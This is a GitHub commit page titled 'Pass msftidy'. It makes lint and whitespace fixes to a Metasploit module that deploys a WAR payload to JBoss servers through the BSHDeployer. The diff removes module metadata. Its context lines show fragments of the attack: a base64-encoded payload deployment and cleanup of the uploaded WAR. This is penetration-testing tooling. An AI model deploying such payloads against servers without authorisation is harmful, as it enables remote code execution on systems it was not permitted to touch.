Skip to content

Commit 9ef09a7

Browse files
committed
Pass msftidy
1 parent 38e6576 commit 9ef09a7

File tree

1 file changed

+3
-6
lines changed

1 file changed

+3
-6
lines changed

modules/auxiliary/admin/http/jboss_bshdeployer.rb

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -28,10 +28,7 @@ def initialize
2828
[ 'OSVDB', '64171' ],
2929
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
3030
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
31-
],
32-
'Privileged' => true,
33-
'Platform' => %w{ java linux win },
34-
'Stance' => Msf::Exploit::Stance::Aggressive,
31+
]
3532
)
3633

3734
register_options(
@@ -52,7 +49,7 @@ def run
5249
uri = '/' + app_base + '/'
5350
if datastore['DEPLOY']
5451
# Read the WAR from the given file
55-
war_data = File.read(datastore['WARFILE'])
52+
war_data = File.read(datastore['WARFILE'])
5653
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
5754
if http_verb == 'POST' then
5855
print_status("Deploying payload...")
@@ -103,7 +100,7 @@ def run
103100
files[:app_base] = "#{app_base}.war"
104101
delete_script = generate_bsh(:delete, files)
105102

106-
package = deploy_bsh(delete_script)
103+
package = deploy_bsh(delete_script)
107104
if package.nil?
108105
print_warning("WARNING: Unable to remove WAR")
109106
end

0 commit comments

Comments
 (0)